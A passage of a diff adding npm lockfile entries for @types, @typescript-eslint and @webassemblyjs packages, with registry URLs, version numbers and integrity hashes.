+            "integrity": "sha512-20R/mDpKSPWdJs5TOpz3e7zqbeCNuMCPhV7Yndk9KU2Rbij2r5W4RzwDPkzC+2lzUqXYu9rFzTktCBnDjHuNQg=="
+        },
+        "@types/component-emitter": {
+            "version": "1.2.11",
+            "resolved": "https://registry.npmjs.org/@types/component-emitter/-/component-emitter-1.2.11.tgz",
+            "integrity": "sha512-SRXjM+tfsSlA9VuG8hGO2nft2p8zjXCK1VcC6N4NXbBbYbSia9kzCChYQajIjzIqOOOuh5Ock6MmV2oux4jDZQ=="
+        },
+        "@types/configstore": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/@types/configstore/-/configstore-2.1.1.tgz",
+            "integrity": "sha512-YY+hm3afkDHeSM2rsFXxeZtu0garnusBWNG1+7MknmDWQHqcH2w21/xOU9arJUi8ch4qyFklidANLCu3ihhVwQ=="
+        },
+        "@types/cookie": {
+            "version": "0.4.1",
+            "resolved": "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.1.tgz",
+            "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q=="
+        },
+        "@types/cors": {
+            "version": "2.8.12",
+            "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz",
+            "integrity": "sha512-vt+kDhq/M2ayberEtJcIN/hxXy1Pk+59g2FV/ZQceeaTyCtCucjL2Q7FXlFjtWn4n15KCr1NE2lNNFhp0lEThw=="
+        },
+        "@types/debug": {
+            "version": "0.0.30",
+            "resolved": "https://registry.npmjs.org/@types/debug/-/debug-0.0.30.tgz",
+            "integrity": "sha512-orGL5LXERPYsLov6CWs3Fh6203+dXzJkR7OnddIr2514Hsecwc8xRpzCapshBbKFImCsvS/mk6+FWiN5LyZJAQ=="
+        },
+        "@types/eslint-visitor-keys": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/@types/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz",
+            "integrity": "sha512-OCutwjDZ4aFS6PB1UZ988C4YgwlBHJd6wCeQqaLdmadZ/7e+w79+hbMUFC1QXDNCmdyoRfAFdm0RypzwR+Qpag=="
+        },
+        "@types/estree": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz",
+            "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ=="
+        },
+        "@types/estree-jsx": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.0.tgz",
+            "integrity": "sha512-3qvGd0z8F2ENTGr/GG1yViqfiKmRfrXVx5sJyHGFu3z7m5g5utCQtGp/g29JnjflhtQJBv1WDQukHiT58xPcYQ==",
+            "requires": {
+                "@types/estree": "*"
+            }
+        },
+        "@types/get-port": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/@types/get-port/-/get-port-3.2.0.tgz",
+            "integrity": "sha512-TiNg8R1kjDde5Pub9F9vCwZA/BNW9HeXP5b9j7Qucqncy/McfPZ6xze/EyBdXS5FhMIGN6Fx3vg75l5KHy3V1Q=="
+        },
+        "@types/glob": {
+            "version": "7.2.0",
+            "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz",
+            "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==",
+            "requires": {
+                "@types/minimatch": "*",
+                "@types/node": "*"
+            }
+        },
+        "@types/hast": {
+            "version": "2.3.4",
+            "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.4.tgz",
+            "integrity": "sha512-wLEm0QvaoawEDoTRwzTXp4b4jpwiJDvR5KMnFnVodm3scufTlBOWRD6N1OBf9TZMhjlNsSfcO5V+7AF4+Vy+9g==",
+            "requires": {
+                "@types/unist": "*"
+            }
+        },
+        "@types/http-cache-semantics": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz",
+            "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ=="
+        },
+        "@types/http-proxy": {
+            "version": "1.17.9",
+            "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.9.tgz",
+            "integrity": "sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw==",
+            "requires": {
+                "@types/node": "*"
+            }
+        },
+        "@types/istanbul-lib-coverage": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz",
+            "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g=="
+        },
+        "@types/istanbul-lib-report": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+            "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
+            "requires": {
+                "@types/istanbul-lib-coverage": "*"
+            }
+        },
+        "@types/istanbul-reports": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz",
+            "integrity": "sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==",
+            "requires": {
+                "@types/istanbul-lib-coverage": "*",
+                "@types/istanbul-lib-report": "*"
+            }
+        },
+        "@types/json-buffer": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/@types/json-buffer/-/json-buffer-3.0.0.tgz",
+            "integrity": "sha512-3YP80IxxFJB4b5tYC2SUPwkg0XQLiu0nWvhRgEatgjf+29IcWO9X1k8xRv5DGssJ/lCrjYTjQPcobJr2yWIVuQ=="
+        },
+        "@types/json-patch": {
+            "version": "0.0.30",
+            "resolved": "https://registry.npmjs.org/@types/json-patch/-/json-patch-0.0.30.tgz",
+            "integrity": "sha512-MhCUjojzDhVLnZnxwPwa+rETFRDQ0ffjxYdrqOP6TBO2O0/Z64PV5tNeYApo4bc4y4frbWOrRwv/eEkXlI13Rw=="
+        },
+        "@types/json-schema": {
+            "version": "7.0.11",
+            "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz",
+            "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ=="
+        },
+        "@types/json5": {
+            "version": "0.0.29",
+            "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
+            "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+        },
+        "@types/keyv": {
+            "version": "3.1.4",
+            "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz",
+            "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==",
+            "requires": {
+                "@types/node": "*"
+            }
+        },
+        "@types/lodash": {
+            "version": "4.14.182",
+            "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.182.tgz",
+            "integrity": "sha512-/THyiqyQAP9AfARo4pF+aCGcyiQ94tX/Is2I7HofNRqoYLgN1PBoOWu2/zTA5zMxzP5EFutMtWtGAFRKUe961Q=="
+        },
+        "@types/mdast": {
+            "version": "3.0.10",
+            "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz",
+            "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==",
+            "requires": {
+                "@types/unist": "*"
+            }
+        },
+        "@types/minimatch": {
+            "version": "3.0.5",
+            "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz",
+            "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ=="
+        },
+        "@types/mkdirp": {
+            "version": "0.5.2",
+            "resolved": "https://registry.npmjs.org/@types/mkdirp/-/mkdirp-0.5.2.tgz",
+            "integrity": "sha512-U5icWpv7YnZYGsN4/cmh3WD2onMY0aJIiTE6+51TwJCttdHvtCYmkBNOobHlXwrJRL0nkH9jH4kD+1FAdMN4Tg==",
+            "requires": {
+                "@types/node": "*"
+            }
+        },
+        "@types/ms": {
+            "version": "0.7.31",
+            "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.31.tgz",
+            "integrity": "sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA=="
+        },
+        "@types/node": {
+            "version": "18.0.0",
+            "resolved": "https://registry.npmjs.org/@types/node/-/node-18.0.0.tgz",
+            "integrity": "sha512-cHlGmko4gWLVI27cGJntjs/Sj8th9aYwplmZFwmmgYQQvL5NUsgVJG7OddLvNfLqYS31KFN0s3qlaD9qCaxACA=="
+        },
+        "@types/node-fetch": {
+            "version": "2.6.2",
+            "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.6.2.tgz",
+            "integrity": "sha512-DHqhlq5jeESLy19TYhLakJ07kNumXWjcDdxXsLUMJZ6ue8VZJj4kLPQVE/2mdHh3xZziNF1xppu5lwmS53HR+A==",
+            "requires": {
+                "@types/node": "*",
+                "form-data": "^3.0.0"
+            },
+            "dependencies": {
+                "form-data": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+                    "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+                    "requires": {
+                        "asynckit": "^0.4.0",
+                        "combined-stream": "^1.0.8",
+                        "mime-types": "^2.1.12"
+                    }
+                }
+            }
+        },
+        "@types/parse-json": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+            "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA=="
+        },
+        "@types/prop-types": {
+            "version": "15.7.5",
+            "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz",
+            "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w=="
+        },
+        "@types/q": {
+            "version": "1.5.5",
+            "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz",
+            "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ=="
+        },
+        "@types/reach__router": {
+            "version": "1.3.10",
+            "resolved": "https://registry.npmjs.org/@types/reach__router/-/reach__router-1.3.10.tgz",
+            "integrity": "sha512-iHAFGaVOrWi00/q7oBybggGsz5TOmwOW4M1H9sT7i9lly4qFC8XOgsdf6jUsoaOz2sknFHALEtZqCoDbokdJ2Q==",
+            "requires": {
+                "@types/react": "*"
+            }
+        },
+        "@types/react": {
+            "version": "18.0.17",
+            "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.17.tgz",
+            "integrity": "sha512-38ETy4tL+rn4uQQi7mB81G7V1g0u2ryquNmsVIOKUAEIDK+3CUjZ6rSRpdvS99dNBnkLFL83qfmtLacGOTIhwQ==",
+            "requires": {
+                "@types/prop-types": "*",
+                "@types/scheduler": "*",
+                "csstype": "^3.0.2"
+            }
+        },
+        "@types/responselike": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz",
+            "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==",
+            "requires": {
+                "@types/node": "*"
+            }
+        },
+        "@types/rimraf": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/@types/rimraf/-/rimraf-2.0.5.tgz",
+            "integrity": "sha512-YyP+VfeaqAyFmXoTh3HChxOQMyjByRMsHU7kc5KOJkSlXudhMhQIALbYV7rHh/l8d2lX3VUQzprrcAgWdRuU8g==",
+            "requires": {
+                "@types/glob": "*",
+                "@types/node": "*"
+            }
+        },
+        "@types/scheduler": {
+            "version": "0.16.2",
+            "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz",
+            "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew=="
+        },
+        "@types/tmp": {
+            "version": "0.0.33",
+            "resolved": "https://registry.npmjs.org/@types/tmp/-/tmp-0.0.33.tgz",
+            "integrity": "sha512-gVC1InwyVrO326wbBZw+AO3u2vRXz/iRWq9jYhpG4W8LXyIgDv3ZmcLQ5Q4Gs+gFMyqx+viFoFT+l3p61QFCmQ=="
+        },
+        "@types/unist": {
+            "version": "2.0.6",
+            "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz",
+            "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ=="
+        },
+        "@types/vfile": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/@types/vfile/-/vfile-3.0.2.tgz",
+            "integrity": "sha512-b3nLFGaGkJ9rzOcuXRfHkZMdjsawuDD0ENL9fzTophtBg8FJHSGbH7daXkEpcwy3v7Xol3pAvsmlYyFhR4pqJw==",
+            "requires": {
+                "@types/node": "*",
+                "@types/unist": "*",
+                "@types/vfile-message": "*"
+            }
+        },
+        "@types/vfile-message": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/@types/vfile-message/-/vfile-message-2.0.0.tgz",
+            "integrity": "sha512-GpTIuDpb9u4zIO165fUy9+fXcULdD8HFRNli04GehoMVbeNq7D6OBnqSmg3lxZnC+UvgUhEWKxdKiwYUkGltIw==",
+            "requires": {
+                "vfile-message": "*"
+            }
+        },
+        "@types/websocket": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/@types/websocket/-/websocket-1.0.2.tgz",
+            "integrity": "sha512-B5m9aq7cbbD/5/jThEr33nUY8WEfVi6A2YKCTOvw5Ldy7mtsOkqRvGjnzy6g7iMMDsgu7xREuCzqATLDLQVKcQ==",
+            "requires": {
+                "@types/node": "*"
+            }
+        },
+        "@types/yargs": {
+            "version": "15.0.14",
+            "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.14.tgz",
+            "integrity": "sha512-yEJzHoxf6SyQGhBhIYGXQDSCkJjB6HohDShto7m8vaKg9Yp0Yn8+71J9eakh2bnPg6BfsH9PRMhiRTZnd4eXGQ==",
+            "requires": {
+                "@types/yargs-parser": "*"
+            }
+        },
+        "@types/yargs-parser": {
+            "version": "21.0.0",
+            "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz",
+            "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA=="
+        },
+        "@types/yoga-layout": {
+            "version": "1.9.2",
+            "resolved": "https://registry.npmjs.org/@types/yoga-layout/-/yoga-layout-1.9.2.tgz",
+            "integrity": "sha512-S9q47ByT2pPvD65IvrWp7qppVMpk9WGMbVq9wbWZOHg6tnXSD4vyhao6nOSBwwfDdV2p3Kx9evA9vI+XWTfDvw=="
+        },
+        "@typescript-eslint/eslint-plugin": {
+            "version": "2.34.0",
+            "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-2.34.0.tgz",
+            "integrity": "sha512-4zY3Z88rEE99+CNvTbXSyovv2z9PNOVffTWD2W8QF5s2prBQtwN2zadqERcrHpcR7O/+KMI3fcTAmUUhK/iQcQ==",
+            "requires": {
+                "@typescript-eslint/experimental-utils": "2.34.0",
+                "functional-red-black-tree": "^1.0.1",
+                "regexpp": "^3.0.0",
+                "tsutils": "^3.17.1"
+            }
+        },
+        "@typescript-eslint/experimental-utils": {
+            "version": "2.34.0",
+            "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-2.34.0.tgz",
+            "integrity": "sha512-eS6FTkq+wuMJ+sgtuNTtcqavWXqsflWcfBnlYhg/nS4aZ1leewkXGbvBhaapn1q6qf4M71bsR1tez5JTRMuqwA==",
+            "requires": {
+                "@types/json-schema": "^7.0.3",
+                "@typescript-eslint/typescript-estree": "2.34.0",
+                "eslint-scope": "^5.0.0",
+                "eslint-utils": "^2.0.0"
+            }
+        },
+        "@typescript-eslint/parser": {
+            "version": "2.34.0",
+            "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-2.34.0.tgz",
+            "integrity": "sha512-03ilO0ucSD0EPTw2X4PntSIRFtDPWjrVq7C3/Z3VQHRC7+13YB55rcJI3Jt+YgeHbjUdJPcPa7b23rXCBokuyA==",
+            "requires": {
+                "@types/eslint-visitor-keys": "^1.0.0",
+                "@typescript-eslint/experimental-utils": "2.34.0",
+                "@typescript-eslint/typescript-estree": "2.34.0",
+                "eslint-visitor-keys": "^1.1.0"
+            }
+        },
+        "@typescript-eslint/typescript-estree": {
+            "version": "2.34.0",
+            "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-2.34.0.tgz",
+            "integrity": "sha512-OMAr+nJWKdlVM9LOqCqh3pQQPwxHAN7Du8DR6dmwCrAmxtiXQnhHJ6tBNtf+cggqfo51SG/FCwnKhXCIM7hnVg==",
+            "requires": {
+                "debug": "^4.1.1",
+                "eslint-visitor-keys": "^1.1.0",
+                "glob": "^7.1.6",
+                "is-glob": "^4.0.1",
+                "lodash": "^4.17.15",
+                "semver": "^7.3.2",
+                "tsutils": "^3.17.1"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "@webassemblyjs/ast": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz",
+            "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==",
+            "requires": {
+                "@webassemblyjs/helper-module-context": "1.9.0",
+                "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
+                "@webassemblyjs/wast-parser": "1.9.0"
+            }
+        },
+        "@webassemblyjs/floating-point-hex-parser": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz",
+            "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA=="
+        },
+        "@webassemblyjs/helper-api-error": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz",
+            "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw=="
+        },
+        "@webassemblyjs/helper-buffer": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz",
+            "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA=="
+        },
+        "@webassemblyjs/helper-code-frame": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz",
+            "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==",
+            "requires": {
+                "@webassemblyjs/wast-printer": "1.9.0"
+            }
+        },
+        "@webassemblyjs/helper-fsm": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz",
+            "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw=="
+        },
+        "@webassemblyjs/helper-module-context": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz",
+            "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0"
+            }
+        },
+        "@webassemblyjs/helper-wasm-bytecode": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz",
+            "integrity": "sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw=="
+        },
+        "@webassemblyjs/helper-wasm-section": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz",
+            "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-buffer": "1.9.0",
+                "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
+                "@webassemblyjs/wasm-gen": "1.9.0"
+            }
+        },
+        "@webassemblyjs/ieee754": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz",
+            "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==",
+            "requires": {
+                "@xtuc/ieee754": "^1.2.0"
+            }
+        },
+        "@webassemblyjs/leb128": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz",
+            "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==",
+            "requires": {
+                "@xtuc/long": "4.2.2"
+            }
+        },
+        "@webassemblyjs/utf8": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz",
+            "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w=="
+        },
+        "@webassemblyjs/wasm-edit": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz",
+            "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-buffer": "1.9.0",
+                "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
+                "@webassemblyjs/helper-wasm-section": "1.9.0",
+                "@webassemblyjs/wasm-gen": "1.9.0",
+                "@webassemblyjs/wasm-opt": "1.9.0",
+                "@webassemblyjs/wasm-parser": "1.9.0",
+                "@webassemblyjs/wast-printer": "1.9.0"
+            }
+        },
+        "@webassemblyjs/wasm-gen": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz",
+            "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
+                "@webassemblyjs/ieee754": "1.9.0",
+                "@webassemblyjs/leb128": "1.9.0",
+                "@webassemblyjs/utf8": "1.9.0"
+            }
+        },
+        "@webassemblyjs/wasm-opt": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz",
+            "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-buffer": "1.9.0",
+                "@webassemblyjs/wasm-gen": "1.9.0",
+                "@webassemblyjs/wasm-parser": "1.9.0"
+            }
+        },
+        "@webassemblyjs/wasm-parser": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz",
+            "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/helper-api-error": "1.9.0",
+                "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
+                "@webassemblyjs/ieee754": "1.9.0",
+                "@webassemblyjs/leb128": "1.9.0",
+                "@webassemblyjs/utf8": "1.9.0"
+            }
+        },
+        "@webassemblyjs/wast-parser": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz",
+            "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/floating-point-hex-parser": "1.9.0",
+                "@webassemblyjs/helper-api-error": "1.9.0",
+                "@webassemblyjs/helper-code-frame": "1.9.0",
+                "@webassemblyjs/helper-fsm": "1.9.0",
+                "@xtuc/long": "4.2.2"
+            }
+        },
+        "@webassemblyjs/wast-printer": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz",
+            "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==",
+            "requires": {
+                "@webassemblyjs/ast": "1.9.0",
+                "@webassemblyjs/wast-parser": "1.9.0",
+                "@xtuc/long": "4.2.2"
+            }
+        },
+        "@xtuc/ieee754": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+            "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
+        },
+        "@xtuc/long": {
+            "version": "4.2.2",
